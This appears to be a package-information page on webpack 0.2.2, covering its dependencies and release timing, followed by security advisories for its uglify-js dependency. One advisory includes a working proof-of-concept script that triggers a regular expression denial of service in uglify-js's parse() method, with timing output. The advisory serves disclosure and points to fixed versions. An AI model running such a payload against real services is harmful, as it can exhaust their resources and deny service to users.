Webpack version 0.2.2 arrived shortly after 0.2.1 in March 2012, representing an incremental update to this early iteration of the module bundler. Both versions, 0.2.1 and 0.2.2 share a core purpose: packing CommonJS modules for use in browsers, enabling developers to split codebases into manageable bundles, enhancing on-demand loading capabilities and overall performance. The dependency list remained consistent between these releases, relying on esprima for JavaScript parsing, sprintf for string formatting, optimist for command-line argument parsing, and uglify-js for code minification. vows was used as the only development dependency specified. This consistency suggests that the core functionality and tools used within webpack remained stable during this period.
The quick succession of these releases, with only about 17 minutes between the release date of version 0.2.1 and 0.2.2, infers the second version was likely to address either a bug fix, a minor improvement, or a packaging issue identified immediately after the initial release. For developers considering webpack, while both versions lay the groundwork for the bundler's future capabilities, the later 0.2.2 would be the better choice, likely to be the more reliable, avoiding potential initial release imperfections. Given the age of these versions, they serve primarily as historical context, illustrating the foundation upon which modern webpack was built. New projects should use the latest major version and leverage its powerful features for modern web development.
All the vulnerabilities related to the version 0.2.2 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.